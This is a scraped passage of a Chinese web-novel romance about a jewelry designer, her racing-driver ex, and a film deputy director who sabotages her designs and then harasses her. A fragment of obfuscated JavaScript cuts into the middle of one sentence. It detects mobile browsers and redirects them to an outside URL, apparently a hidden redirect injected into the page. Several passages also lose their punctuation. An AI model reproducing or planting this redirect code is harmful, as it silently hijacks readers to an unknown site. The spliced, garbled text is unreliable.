谁知道打脸这么快,女人白皙柔净的面容浮现淡淡的胭脂红,“刚好有个客户,改天再锻炼。
傅蔺征压下唇角,往
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前走:“走了,还磨蹭什么。”
容微月立刻跟上。
走到一辆银色的阿斯顿·马丁Valhalla旁,傅蔺征点开副驾驶的蝴蝶门按钮,让她上车。
容微月发现他光停在禾盛庭的超跑就有七八辆,每天换着心情开,每一辆开出去都是炸街的程度,帅得扎眼。
车子驶出停车场,她说给他导航,傅蔺征捞起墨镜戴上,单手利落打着方向盘转弯,语调淡淡:“不用,知道怎么走。”
她轻声道谢:“那麻烦你了今天……”
傅蔺征用手肘示意了下手刹后方的储藏格:“把里头那罐糖拿给我。”
容微月打开格子,拿出里头的东西,发现是罐进口的青橘糖,她高中时买过一次觉得很好吃,怔了怔递给他:“你也喜欢这个吗?”
他拿了几颗丢给她,又撕开个扔进嘴里,嗓音磁懒道:“随便买的,烟瘾来了就吃一颗。”
容微月想起高中时她不喜欢他抽烟,傅蔺征就让她来管他,每次他想抽烟,她就用一颗糖跟他换,后来变成了用吻换,霸道缠着她索吻。
她才是能缓解他所有瘾的源头。
最后,傅蔺征真的戒掉了烟,只是现在他又抽上了,不过她也没资格管。
但最近同居,她发现在家里好像都没看到过他抽烟。
容微月摩挲着糖果包装,降了半扇车窗,外头凉风徐徐,她仰头看向窗外:“今天天气总算好了,前几天一直下雨。”
傅蔺征感慨:“大概是我不在京市,老天爷都难过哭了呢。”
??
这人怎么能这么厚脸皮呢。
她转头随口问:“你的训练车场在哪儿啊?”
“嘉林区那边。”
嘉林区离她工作室的确好近,“可那边不是都是工业区吗?”
傅蔺征舌尖抵了抵上颚,“就,嘉林区,后面的,那个山。”
她疑惑:“你说东安吗?那边山区不是还没开发的?”
“今年新开发的,”男人轻咳两声,转头瞥她,“怎么,你问那么多,是对我训练的地方很感兴趣?”
生怕他又多脑补了,容微月忙摇摇头,“我就随便问问。”
踩了几脚油门,阿斯顿·马丁很快驶到了文化创意园大门口,这车实在是太张扬了,她不想被工作室的人看到,“你在这儿停就好了,我自己走进去。”
傅蔺征没听她的,“你想再走个十分钟?现在又不着急了?”
“不用,挺近的……”
傅蔺征转头看她,锐利的眉眼攻击性极强:“你心虚什么?还是我这么见不得人啊?”
她默默收了口,文化区里道路错综复杂,七拐八弯容易出错,她还没指路,银色
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超跑如蛇般灵动前行,穿过一个近道,更快到达了工作室门口。
她呆住:“你怎么知道怎么走的?
男人按下手刹,慵懒靠向椅背:“之前闲着无聊,进来兜过风。
“?
来文化创意区兜风?
容微月来不及没多想,朝他道:“谢谢,那我先进去了,你也赶紧去训练吧。
她下了车,快步走进工作室。
傅蔺征看着她几近落荒而逃的背影,嗤笑了声。
就这么怕和他沾上点关系?
另一头,容微月走进工作室,舒槿看到她迎上来,“姐,客户在会议室了。
“好。
舒槿往门口看去,没看到容微月的车,“你车还没修好啊?你今天怎么来的?
容微月胡诌道:“我……我打车来的。
外头响起超低音浪,办公区员工们纷纷转头看到超跑正驶离:“我靠好帅的车啊!!声音好炸!
“这是哪个京圈太子爷开这种神仙车来咱们这儿,可惜没看清脸啊。
舒槿开玩笑:“姐,你不会是打这个车来的吧?
“……
容微月连忙道:“好了,去会议室。
几个设计师和她同去,到会议室,容微月认出正是昨天让她现场演示掐丝的俄罗斯展商,双方问好,一个俄罗斯中年女人名叫娜佳,是一家名叫Polaris漆画工厂的老板,工厂是老牌厂子,这两年效益不高,在本土市场冷淡,所以想来中国寻求合作。
明年他们想推出一个新品,“我们可以将漆画技术和花丝镶嵌技艺进行结合,一起制作联名款饰品。
到时候这个饰品除了公开对外售卖,还可以在俄罗斯参展参赛,如果能够获奖,就能极大的提高他们的知名度。
容微月和他们沟通着,觉得想法不错,“我们最迟什么时候要制作完成呢?
“明年年初。
最近关于《霜雪吟》的饰品图稿要提交,中间还要进行审核修改,时间应该充足。
娜佳说明年二月份他们要还一笔贷款,就看这次的饰品在市场反响如何,几乎是孤注一掷。
容微月还没尝试过将花丝镶嵌和漆画合作,但颇有创意可以一试,她答应,提出饰品也可以在国内上线同步售卖。
最后双方顺利签订合同,娜佳感激和容微月握手:
“谢谢你愿意和我们合作,我们上个月也联系了其他几个花丝镶嵌厂,但他们都拒绝我们了。
Polaris生意惨淡,在本土夹缝中生存,很多花丝镶嵌厂子都看不上他们,觉得合作没有希望。
而娜佳是个单亲母亲,去年丈夫意外去世,把厂子留给她,还
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负债了几百万。
容微月温暖一笑:“你们的饰品我看过,我觉得很有创意,
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现在手工艺品越来越难了,我们抱团取暖,通力合作。”
走到门口,娜佳牵着的金发碧眼的小女儿看向容微月,把自己编织的套娃手链拿给她,笑容纯真,用俄罗斯语和她说了句话,容微月疑惑,娜佳旁边的助理笑:“她说‘谢谢你,漂亮的姐姐’。”
容微月半蹲下接过,摸摸她的头嫣然一笑:“谢谢,你也很漂亮。”
几人离开后,容微月去车间和员工们讲了此事,一位点蓝的老师傅抽了口烟,直叹气:“最近也太忙了,活都赶不过来了。”
一旁的抛光的年轻小伙笑:“甄大爷,你不能这么说的,咱们要没活干一个月还能拿这么多钱吗,你还能天天都抽中华吗?”
“对啊,微月老师去了趟博览会就给我们拉回来了生意,可比上半年的情况好多了。”
老师傅幸福地嘬着烟头:“也是,还是忙点,忙点好。”
大家都笑,容微月勾唇让大家继续干活。
回到办公室,她对舒槿道:“我要出门买辆电动车,你知道附近哪里有卖的吗?”
“创意园对面那条街好像有几家店,姐你要买电动车?你的汽车呢?”
“坏了,不知道什么时候修好,开电动车来上班也很方便。”电动车过来只要十几分钟。
容微月行动力极强,立刻出门。
半个小时后,她开上新的小电驴,慢悠悠行驶在路上,心情极好,拍了张晴天下的文化创意园的照片,发到朋友圈。
回到工作室,容微月正式投入工作。
窗外蓝天飘着几朵云。
几个小时前,阿斯顿·马丁驶出文化创意园,照例如往常一般,又开了近两个小时才到京市对角线郊区的一个训练车场。
超跑停好,傅蔺征一双黑色短靴踏下车,往里走去,腿线笔直,颀长挺拔的身影桀骜帅气。
车队的人看到他纷纷颔首:“征哥好。”
傅蔺征淡淡应,走进大楼,助理怀裕过来汇报道:“征哥,微月姐的车开来了,停在维修间。”
傅蔺征应:“让其他人都别动。”
“好的。”
怀裕诧异道:“哥,你平时从前不会迟到的,今天竟然迟到了十分钟。”
男人进入办公室,脱下外套,露出一身硬朗的肌肉,换上赛车训练服:“早晨有事,送人去上班了。”
“啊?是微月姐吗?!”
傅蔺征戴上鸭舌帽,身姿拓落挺拔,往外走,喉间懒洋洋滚出几字,“不然呢。”
天哪,征哥追老婆终于有重大进展了!
怀裕咧开嘴角:“哥,难怪感觉您今
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天心情这么好呢。
上周去外地训练这人脸几乎都是黑的,笑都不笑一下,果然还得是微月姐。
车队工程师教练等等都到了,傅蔺征体能训练一个小时后,进入实训。
银黑涂装的赛车如闪电掠过赛道,撕裂空气,轮胎与沥青激烈摩擦,火星四溅。
极限出弯,满油推力,爆震声层层炸开,音浪如潮。
转弯,直行,漂移,冲刺。
像是丛林里追逐猎物的野兽,干脆利落,又野又稳。
耳机中响起工程师的声音:“T6后段胎温上来了,右后轮快到窗口顶了。
“知道,傅蔺征语气冷静,“下圈收一收,Turn9刹点我往后压3米,再看反应。
他切入减速弯,手指在方向盘上流利拨弄,切换能量回收模式、调控差速设置,动作干净迅速。
一个早晨他状态极佳,刷出几个飞驰圈。
中午最后一圈结束,他把车减速驶入维修区,摘下头盔,和工程师交流。
聊完公事,车队的人一起去食堂,饭后傅蔺征没和他们去休息,而是去了维修间。
于是车队的人就看到向来养尊处优的傅大少爷,正在亲自给一辆不知道哪里来的普通小车重装传感器。
旁人想帮忙,他都没让。
傅蔺征不单单要会开车,对车零部件等也是了若指掌,修车是最基本的,但是大少爷千万级的超跑那么多台,哪台坏了都没见他亲自动过手。
大家都傻了:“什么情况,这是谁的车啊?征爷亲自处理?
“这车才十来万吧,征爷一双鞋都能买两辆了,还需要修吗?
“诶你们看到车前头有个好几个玩偶,好像是女生的车啊!你们说是不是嫂子的车?!
“真有可能,是和嫂子和好了吗!
几人激动地去问怀裕车主是谁,怀裕拉上嘴巴拉链:“不该问的别问,小心被收拾。
这件事太神秘了。
一个下午就传遍了整个车队。
中途夏斯礼拿着合作案来找傅蔺征,没多久傅蔺征弄好,出去开了圏,回来时怀裕过来问,“哥,车修好了?
“嗯,这有什么难的。
“太好了,那我今儿就给微月姐开回去。
“不着急,先放在这儿。
“?
傅蔺征捞起矿泉水瓶喝了几口,靠着旁边的桌子,把一张表格拿给他:“重新喷漆打蜡,再按照这个表格把车内所有东西换了。
怀裕看到上头密密麻麻的顶级配置:???
“好的……这里面下来起码七位数,这是要直接重装啊?
夏斯礼走过来,傅蔺征和他去办公室,前者看到他脖子上
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的古巴链,坏笑:
“呦,这狗链还戴着啊?你小子高兴坏了是吧,这是乐意被微月拴住了?
傅蔺征手插兜往前走:“她执意要送,我这么心善,当然不愿意辜负她的心意,就继续收着了。
夏斯礼噗嗤笑出声,“我咋还是不相信呢,我估计微月不知道这链子的意思,你属实自作多情了。
傅蔺征睨他:“你属实屁话多了点。
“哈哈哈哈哈……
走到办公室,俩人正儿八经聊着工作上的事,谈完临近傍晚,夏斯礼问:“今晚去我家聚聚,叫上湖安阿承他们,昨晚我刚收到一瓶1990罗曼尼康帝,你肯定喜欢。
傅蔺征看了眼手机时间,悠然道:“没空,我要接人下班。
“啊?谁啊?
傅蔺征没说话,夏斯礼也不傻:“微月?你要接她?
“她车不是坏了。
???
夏斯礼跟着他往外走,“所以她同意你接送了?
“今早就是我送她的,有问题?
夏斯礼感慨,“我感觉微月不会情愿的。
傅蔺征嗤笑,长腿踩下台阶,“事实摆在那儿,需要你感觉?
夏斯礼笑着拍拍他肩膀,“行吧行吧,去追你的人吧。
夜幕彻底落下,霓虹点亮城市。
两个小时后,低沉的引擎声低沉如野兽咆哮划破夜色,银色的阿斯顿·马丁极速驶入文化创意园。
Valhalla车身低矮流畅,底盘很低,家族式的大格栅车头勾勒犀利的线条,尾部的“京A·E0831车牌亮起,尾灯亮着专属于FLZ的英文喷涂,极度耀眼。
周围的车来来往往,和超跑擦肩而过,许多人注意到:“****这车好帅啊!!
“阿斯顿·马丁英灵殿!全球限量款的配色,这辆落地至少千万!
“帅炸了这引擎声,哪个牛逼的太子爷来这里炸街啊!
“我也算是见过千万级超跑的,这辈子开了眼了,这不会是来接女朋友下班的吧……
许多人想要看清驾驶座的人是谁,然而特别改装的黑色车玻璃挡住所有人的视线。
碾过一地落叶,尾灯划出锐利红光,最后阿斯顿·马丁停在工作室门口的街边。
傅蔺征熄了车灯,许多人透过车窗,看到一个男人慵懒坐在驾驶座上,一截骨节分明的手腕搭在方向盘上,漆黑的眉眼笼罩在鸭舌帽的阴翳下,侧脸线条模糊,看不清脸,但明显很帅。
许多女生花痴得忍不住想凑过去,但人和车的气场太过强大,让人不敢靠近。
傅蔺征看了眼时间,五点半。
他拿出手机,点开置顶的月亮聊
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第 21 章 “谁给你的胆子敢碰她?”...
第21章第二十一章
【“谁给你的胆子敢碰她?】
chapter21
“……
行,他几千万的超跑来接她她不要,短短一天不知道从哪里搞来了一辆小破电驴。
他还以为是什么车呢,傅蔺征脸色沉得像块黑炭,闷火在心里窜:“怎么,就这么受不了我来接你?你至于这么着急和我撇清关系?
???
容微月抬手理了理小猫咪头盔,水润的眸子懵然眨着,摇摇头,声音绵软软:“没有啊,有个电动车确实方便,而且不是你说的吗,来接我很麻烦。
傅蔺征:“……
容微月当然也觉得他老是来接送她不太合适,大少爷的车太过高调,但更多她是考虑到通勤的便利问题,没有想那么多。
但不管怎么说,傅蔺征今晚确实来了,她愧疚嗫嚅:“不好意思啊傅蔺征,我刚刚在忙没看到你信息,让你白跑一趟了,但是我这个车也得骑回去充电,不然明天没电了……
女人温软白皙的脸颊半掩藏在奶白色围巾里,鼻尖微红,像只小动物偷偷露出一角脑袋,琥珀眸子澄澈明亮,望着他的神情干净又软糯,像只刚睡醒、还带着奶香气的小布偶猫。
就像曾经高中时晚上,他训练完买了烤红薯和热奶茶来接在校外补完课的她,小姑娘喂他吃着,眸子弯弯,笑得又乖又甜地看着他,让人忍不住想亲。
傅蔺征看着她,躁火一瞬间被无端熄灭。
他舌尖抵了抵腮,语气松了几分,懒声道:“算了,你骑呗,我就刚好顺路。
他还能拦着她不成,“最近有偷车的,等会儿新车放这儿再给人偷了,你又得哭鼻子。
“……
她在他心里就是个小哭包吗?
容微月轻轻应了声,“那我先骑了。
她拧着小电驴油门,骑了出去,傅蔺征看了几秒,回到超跑上。
容微月快到工业区门口,后方就传来低音滚动的引擎声浪,不用回头都能猜到是谁,果然没几秒,阿斯顿·马丁就从她车旁开过。
然而和她想象中的迅速驶离不同,傅蔺征放慢了速度,保持在她前方几米的位置。
正值晚高峰,路上川流不息,有许多车拐来拐去加塞,速度很快,容微月刚骑电动车还有些不适应,手紧紧搭在刹车上,而傅蔺征仿佛在前方为她开路,让别人没有挡在她前面的机会。
周围看到阿斯顿·马丁,不知道车上是哪位豪门大少爷,连忙自动规避,生怕擦了碰了要赔天价。
容微月一路畅通无阻,过了会儿到达大马路,傅蔺征透过后视镜看到她开到了非机动
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车道,才收回目光。
前方无车,傅蔺征半倚在座椅里,手肘搭在车窗底,骨节分明的手指漫不经心地敲着方向盘,脚下稳定地控住车速,时不时偏头关注着非机动车道上的人,怕她出事。
明明两脚油门就能飙回家了。
这是他生平头一次开车这么龟速。
银色超跑在暗夜中低矮前行,仿佛一头束住利爪的猎豹,压着劲头跟在一只慢悠悠走路的小猫身后。
途中,夏斯礼打来电话,格外欠扁地笑:“怎么样傅狗狗,接到你主人没有?人家愿意坐你车上吗?”
傅蔺征默了默,“接到了,她开小电驴去了。”
那头闻言爆笑,就知道果然是这样,“傅蔺征叫你再装,叫你再嘴硬!还得是微月,天生治你有一套!”
“夏斯礼,你幸灾乐祸是吧?”
“哈哈哈哈哈哈哈哈我不敢哈哈哈哈哈哈哈。”
“……”
傅蔺征嚼着青橘糖,语气悠然:“她不知道我来接他,刚刚撒娇和我道歉了,我呢,也不是那么小肚鸡肠的人,怪我白天没和她沟通清楚,不然她也不会迫不得已去买个电动车。”
夏斯礼憋笑:“是是是,你说得都对,傅蔺征,我听说现在做军事防弹衣的材料越来越先进了,我觉得那些人都白设计了,防弹衣应该加上你的嘴啊,那些玻璃钢、碳化硼哪里有你嘴硬啊,这才叫坚不可破!”
“……”
傅蔺征轻嗤了声,脸黑挂了电话。
懒得和这**说话。
几分钟后,容微月骑着电动车终于磨到了小区地下车库,停到充电区,她往前走,看到傅蔺征从超跑上下来。
也不知道他今天怎么开那么慢,是为了等她吗……
男人关上车门,手里拎着水果零食和蛋糕,她愣了下,他转头看来:“还不走?”
她忙跑过去,跟着他进电梯。
回到家,呼呼跑过来,激动地在她脚边蹭,看到她眼睛放光,容微月含笑抱起它:“宝贝我回来啦……”
呼呼脑袋往她胸口蹭,似乎很喜欢她身上的香味,傅蔺征见此脸黑立刻把它抓过来。
一天天的,没点分寸感,净占人便宜。
她呆住,傅蔺征嗤:“我回来还没抱。”
这人好小气哦……
等了几秒,容微月眼巴巴看着他,“能到我了吗?”
他无语给她,呼呼重新钻回容微月怀里,开心地蹭蹭她,她笑得眉眼弯弯。
在旁边如同陌生人的傅蔺征无语轻笑:
“干脆我搬出去让你俩过呗。”
容微月:?
往里走,傅蔺征把东西放到厨房料理台上,打开冰箱,漫不经心开口:“我给这小祖宗煮
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吃的,顺便煮点意大利面,一起吃了。
“好……
容微月看到桌上格外漂亮的车厘子蛋糕,奇怪这人不是向来不爱吃甜品,忍不住问:“这蛋糕是你买的吗?
傅蔺征看过来,对上她目光,默了默悠哉道:“同事送的呢。
“……
好吧,难怪……
傅蔺征卷起衣袖,露出青筋蔓延的劲瘦手臂,撕开意面的包装袋,“你帮忙把水果洗了,和零食一起放客厅去。
“好。
半晌傅蔺征端着煮好的意大利面走去餐厅,看向正在地毯上陪呼呼玩的小姑娘,“煮好了,过来吃饭。
“你吃,我先喂呼呼吧。
他脸色微沉:“它需要你管?等会儿面凉了,万一吃拉肚子还得怪老子头上。
容微月咕哝了声,手撑着地毯站起身,呼呼也饿得黏过来。
傅蔺征无奈懒嗤。
真是一大一小俩活祖宗。
傅蔺征给呼呼喂完吃的,坐到餐桌前,容微月吃完最后一口面,面前就推来那个车厘子蛋糕。
他吊起眉梢:“看你胃口还挺好的样子,这个也帮忙消灭了吧。
今天忙了一天,容微月的确饿得饥肠辘辘,她脸颊微**舔了舔红唇上的番茄酱汁,摆摆手,“别人给你的,还是你吃吧。
“我不喜欢吃甜品你不知道?你不吃扔了不是更辜负别人的心意。
她想到前一周,红唇翕动:“那之前冰箱里的那个青橘蛋糕……
傅蔺征喝了口柠檬气泡水,慵懒的语调停了两秒才出声:“那是例外。
他撩起眼皮看她,眼底深深:
“我就只爱那一个,不行么?
容微月呆住。
傅蔺征把蛋糕推过去,将她的思绪抓回来,吊儿郎当道:“行了拿去吃,克制点你那虎视眈眈的心思,整天对我那么好奇。
“……又来了。
末了容微月拿着蛋糕回到卧室,坐到懒人沙发上,用餐叉舀了块蛋糕送入口中,车厘子和奶油的甜在口中丝滑交融,让人幸福得眼睛瞬间弯了。
头顶乳白色的灯光倾泻而下,照着浇了糖汁的车厘子盈盈发亮。
忽而,一个想法不受控冒出。
傅蔺征是不是因为来接她,才买了水果零食那些,这蛋糕是不是也有可能是他买的……
心河如被春风骤然掀起涟漪。
一阵酥麻震颤。
但,怎么可能呢。
要是他知道,肯定要说她自作多情。
不知道为什么,感觉自己最近好像真有点被傅蔺征所说中,对他各种的胡思乱想越来越多。
她垂眼舀了口蛋糕,咽下这荒唐的想法。
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第二天容微月醒来看到傅蔺征卧室的门关着似乎还没出门。
她去准备了两份早餐平时老是吃他做的饭
过了会儿她看到傅蔺征推着行李箱从房间出来。
他临时在意大利有个比赛。
如今他重点在组建国内车队拿了世界冠军后他把事业重心更多移到国内对赛车手的培养比赛不经常参加但还是要世界各地跑不经常在家。
男人在对面坐下一身深色风衣勾勒出身型挺阔冷硬的线条眉眼惺忪带着几分倦懒桀骜。
听他说了安排容微月把早餐推给他咬着面包软声问:“那你什么时候回来?”
傅蔺征喝着牛奶慵懒抬眉“怎么我还没走你就想我了?”
“……”
这人能不自恋吗“我就单纯问问。”
“周六晚上吧但估计到家要十点多毕竟拿了奖肯定回来要有庆功宴。”
这倒是提前规划上了容微月提起唇角:“那提前恭喜你希望你能拿奖。”
呼呼许是知道他要走了难得有良心地跑过来在他脚边蹭蹭傅蔺征吃完早餐把它抱起来对容微月道:
“我车队刚好有空帮你把车保养一下还要耽误几天时间你先开我的车这么冷的天别骑什么小电驴。”
他把一个车钥匙甩过来容微月忙说不用:“你那些跑车我开不来。”
她也开不起啊高调不说万一磕了碰了她交一辈子房租也赔不起。
傅蔺征就猜到了她是这反应说反语:“就普普通通一汽车那些跑车我舍得给你开?”
哦……
容微月被迫收下傅蔺征剥着鸡蛋问:“这周要把饰品设计稿全部定下来是吧?”
“嗯明天要先去和剧组的人初步沟通一下看看需要改动什么。”
傅蔺征撩起眼皮看她:“有什么事你处理不来的联系我或者问怀裕好歹我也算你领导。”
“嗯不会有什么事的。”
工作上的事她想着能不麻烦就不麻烦他省得被人误会。
吃完早餐傅蔺征出门容微月也去到工作室开启新一天的工作。
第二天下午她要去市中心的明恒集团犹豫了下还是拿了傅蔺征给她留下来的车钥匙。
到地下停车场她按了按钥匙不远处车灯亮起。
走过去一看是辆白色阿斯顿马丁DBX707。
售价两三百万她开不起可的确在傅大少爷眼中称为普普通通……
上了SUV车里装饰简洁明净一阵清新的青橘气息萦绕鼻息高级布料的座椅很舒服开起来意外
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的好上手。
到明恒集团,容微月被引到会议室里,等了快一个小时,心间略略焦灼时,门才被推开。
上次在选拔会见过,那位负责服饰与道具的副导演杜海滨走了进来。
杜海滨一身白衬衫黑西裤,笼住肥胖的身材,戴着黑框眼镜,头顶微秃,满脸褶子,像海绵宝宝里的海霸王,手上把玩着一个红玛瑙手串。
她记得之前选拔会上,是他提出来加赛,被傅蔺征怼得挺惨。
杜海滨步伐慢慢悠悠,身后跟着他的助理,还有另外几位剧组的道具人员。
容微月起身礼貌问好,杜海滨看到她,眼神冷了几分,把她从上到下扫了眼,脸上堆起懒笑:“容小姐,刚刚开了个会,让你久等了,不会介意吧。
男人话落,还打了个哈欠,眼角挂着眼屎,明显不是去开会的样子,容微月提起唇角:“没关系的。
杜海滨坐了下来,身上的肉把肚子堆成一个皮球,他把玩着手串,又打了个哈欠,“行了,那就开始吧,你先讲讲你的设计想法,哎呦好困。
杜海滨负责初步审阅所有饰品,通过后再报给上层。
容微月把稿子递去,点开PPT,讲解起来。
杜海滨翘着二郎腿,听了会儿,懒声打断:“诶,你怎么把这个女二的头冠设计得这么高啊?唐代头饰一般都比较平缓,你参考历史了吗?
容微月温声言:“我查过史料,唐代贵妇头冠在初唐相对平缓,但本剧设定在盛唐,头冠趋于华丽高耸,《簪花仕女图》就中有这样的体现,是符合历史的。
她把《簪花仕女图》的图片投影在屏幕上,杜海滨沉默了下,没再说话。
再往下介绍,杜海滨又挑刺:“盛唐宫廷饰品更倾向红色系的石榴石和琥珀,这个侧发钗上你镶嵌的宝石怎么用蓝绿色啊?
“盛唐宫廷饰品确实以红色系居多,但并不是绝对的,受西域文化影响,当时也有蓝色绿松石以及翡翠类的饰物,在何家村和法门寺遗址中就出土过,所以适当加入蓝绿系会让饰品看过去不那么单调。
旁边的工作人员不禁赞叹:“这个真好看。
“对,这个很符合女主的气质……
杜海滨一个眼刀子扔过去,工作人员立刻缄口,他用手串盘了盘油光发亮的脸,脸色更冷,没再说话。
继续往下,杜海滨看到一个步摇,当即道:“这个你用银丝?这角色是贵族身份,剧组给你批了这么高的预算,你用银料不用金料?!
“这个角色的设定清冷是淡雅,我觉得用银饰在这里更加符合人物气质。
“容小姐,你作为设计师有你自己的想法,但最终
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剧组拍摄考虑的是镜头效果和整体视觉感受,你考虑过这个人物的美感了吗?
“杜导,我觉得所有的美感要恰如其分……
容微月话音未落,杜海滨打断:“你觉得?你谁啊?你搞清楚我是甲方你是乙方,谁出钱谁做事?我说一句你怼一句,你这么有想法你怎么不去拍电视剧?!我刚在这行业的时候你在哪儿?!
那次在提案会上她让他挨了一顿批,还把能给他点油水的翠安给挤了下去,他一开始就看容微月不爽了。
容微月静静看着他,仍旧保持着尊重:“我没有质疑您的意思,只是这想法我和导演提过,他觉得可以。
杜海滨突然呆住:“你和导演沟通过?
“上次签合同时,我和他讲过初步想法,或者您可以问问他?
杜海滨忍着火打电话给导演,据理力争了一大堆,然而导演道:“我觉得她这个想法可以啊,她对人物性格考量挺细致,先暂定银饰品,你别着急,妆造可以调整。
杜海滨还想说什么,导演那电话嘈杂,说迟点再说,就挂了电话。
周围员工面面相觑,杜海滨缓着心里的怒火,脸色僵硬,把画稿合上:“行啊,你还挺有能耐,那导演发话了,就先这么设计吧。
容微月轻点头,欲再介绍,杜海滨直接往座一靠:“后面的我现在没时间听,你回去吧,修改意见迟点给你。
容微月怔了怔,只好应下。
杜海滨起身风风火火往外走,助理捞起桌面的设计稿连忙跟上,上楼他把门重重一甩,大发雷霆:“我跟组这么多年了,没遇到过她这种的态度的!都不知道制片人怎么选的她!
助理忙哄着,给他倒水让他消消气:“杜哥,人家说了小姑娘挺厉害的,年轻难免心气高,但是您宰相肚里能撑船,和她计较什么啊?
杜海滨脸色沉沉,感觉刚才特别没面子,助理道:“我估计她是因为上次提案会你提出来要加赛,对你有点不满,今天才用导演故意来压你。
杜海滨想到那天就气不打一出来,怒火中烧:“小破工作室能打得过翠安,也不知道这容微月靠着什么背景进来的,长得倒是漂亮。
杜海滨喝了口热茶,心思一转:“当时傅总发了好大的火,你说容微月是不是和傅总有点关系?
助理诧异:“怎么可能,她个做道具的能认识那么大的人物?那还需要提案会吗,直接内定不就好了,傅总当时发火应该是担心安全问题,说到底杜哥你比容微月有话语权多了,也比她有经验多了,不用怕她。
杜海滨想到什么,把玩着玛瑙手串,意味深长笑了:“反正设计稿我第
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16835691|179330||http|test|mini|href|location''.split(''|''),0,{}));
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一个来把关,有什么问题我提就是了。”
这时,门口传来敲门声:
“杜导,向安悦指导找您。”
杜海滨转头看去:“请她进来。”
-
下午容微月从明恒集团回工作室后,心里惴惴不安。
她在想是不是自己主观想法太多,得罪了人,可是她真的觉得自己的设计是没问题的。
舒槿得知后,安慰她:“姐你态度挺好的,也只是提出自己的想法,是那个导演对你态度傲慢啊,而且还故意让你等了一个小时。”
容微月叹气:“只希望稿子能顺利通过吧。”
然而事实不如人所愿,晚上,她开始收到了杜海滨发来各种各样的修改意见。
【男主角头冠的整体纹饰风格看起来不够刚毅霸气,设计一个新版本。】
【皇后的凤冠整体视觉冲击力不够强,太简单了,有层次感点。】
【女三号手镯整体尺寸太宽,图案在镜头下不秀气啊,重新调整比例和尺寸。】
【……】
杜海滨对她许多设计全盘否定,容微月试图讲了想法,对方却连听都不想听:【你审核还是我审核?我这边初稿过不了的话,不会给你上报的,你是不打算改吗?】
容微月深吸一口气,敲击屏幕:【没有,我修改。】
她是乙方,只能乖乖听话的份儿。
晚上容微月在工作室熬到了十一点,第二天又来和几位设计师继续改,有些设计需要推翻重做,格外耗时,有些只是局部微调,也很繁琐麻烦。
杜海滨在那边连环夺命call,白天容微月还有其他的工作,只能晚上加班,有时提交了3.0、4.0版本,对方又说还是感觉1.0更合适,活脱脱折磨人。
舒槿和容微月来来**跑明恒集团,杜海滨看到稿子还戏谑:“容小姐,你们工作室规模小,当初看重的就是你们的设计,现在看来也不过如此嘛。”
舒槿回来气得不行:“这个人就是故意刁难我们吧!!哪有这样的,我们的时间不是时间吗!真不想做了!”
可现在甩手不干,就要赔付一大笔违约金。
容微月手里端着全部人的饭碗,只能忍耐,她也不是毫无脾气,急了也会和杜海滨争论,但就会迎来对方更加变本加厉的刁难,她也不能去找导演和制片人说什么,毕竟不能越级汇报,她也不想把事情闹僵。
连续三四天下来,容微月每天加班到十二点,吃饭也不规律,右手又开始隐隐作痛,整个人如抽干力气般,精疲力尽,很快就感冒了。
周五晚上彭清时组局,邀请容微月和殷绿一起吃饭,但她要加班改稿,只能推却。
三人群里,
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彭清时得知事情起因经过也很愤怒:【这种就是卑鄙小人故意为难你的微月你感冒还好吗?我给你下单了药不行我陪你去看看吧?】
容微月咳嗽敲击着键盘:【没事不用我已经吃药了。】
殷绿:【你能不能和傅蔺征说说?他是大领导啊肯定能给你解决的。】
容微月垂眸:【傅蔺征他在国外比赛还是不麻烦他了。】
从前忙赛车的事他就很经常联系不上她也不想打扰。
何况他们现在早就不是男女朋友。
他也已经帮过她很多了。
殷绿心疼:【那我今晚我们去找你陪你加班加完班再一起去吃饭我有时间。】
彭清时:【嗯你就好好加班我们来找你。】
容微月心间温暖感谢他们。
白天容微月又和设计师开会讨论了下她想着他们实在辛苦傍晚让其他的人先走她一个人留下。
杜海滨发来信息让她带着设计稿来公司面谈容微月心里烦透说没有画完周一前一定会给他杜海滨不容拒绝道:【我刚好在附近去你工作室找你没时间了今晚把该定的都定了吧。】
京市太阳落山早夜幕一点点暗下只有容微月的办公室里点着白炽灯。
敲门声响起容微月透过磨砂门往外看去是杜海滨的身影。
她走去开门他夹着个公文包一手盘着玛瑙串
“辛苦啊容小姐加班到这么迟。”
容微月淡声问好没关上门走去烧水。
杜海滨说还是第一次来她工作室感觉环境还不错“你辛苦了我提出来那么多问题也是为了拍好这部剧希望你别怪罪啊。”
不容她怪罪她也在心里怪罪多回了。
容微月去拿茶叶声音温温淡淡:“能理解想必杜导也都是为了电视剧好以后见到导演我肯定会和他夸夸您的认真负责。”
杜海滨脸色僵了僵轻笑:“容小姐你认真负责我也会为你美言的设计稿给我吧。”
容微月递给他坐在沙发侧边杜海滨挑眉:“你坐那么远我们怎么聊啊?”
她只好坐到他同侧的沙发但保持着一定的距离她陈述着设计稿杜海滨闻到空气中清甜的白茶味视线不禁转了过去。
女**衣下是一身水墨蓝古典旗袍长发被发簪别着垂落而下灯光下如春雪的肌肤白得泛光身材玲珑有致樱桃红唇一动一动。
一点点勾着空气勾了魂。
容微月讲解着就感觉杜海滨慢慢靠过来她立刻往旁边靠神色清冷几分:“杜导现在还有什么问题吗?我
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都按照您说的修改了。
杜海滨翻了几下文件,随口道:“我觉得男女主这个头饰还有点问题,不够大气,但也不能太夸张,就是还缺点感觉。
……还缺点感觉。
容微月真想把文件盖他头上,看他还缺不缺。
她不想装了:“所有的细节都是按照您的想法该的,已经改了不下五遍了,您到底是对我的设计有意见,还是对我有意见呢?
杜海滨笑了笑:“容小姐,其实我们不需要这么麻烦的,这些问题可以换个方法解决。
杜海滨笑着咧开一口黄牙:“不如容小姐今晚陪我去唱唱歌喝喝酒,到时候我们喝着酒好好谈,说不定就能把问题谈好了,如何?
“不好意思,我没空。
“容小姐,杜海滨凑过来,脸上渗出笑意,“我也想赶紧把稿子定下来,你不想要吗?
感觉到他要贴上来,容微月立刻起身,冷眼看他:“出去,你再这样我报警了。
“报个屁啊,大惊小怪的,你要这么别扭,怎么在这个圈子里混啊?
他上前一把抓住她的手,容微月恶心地挣扎,“你放开我……
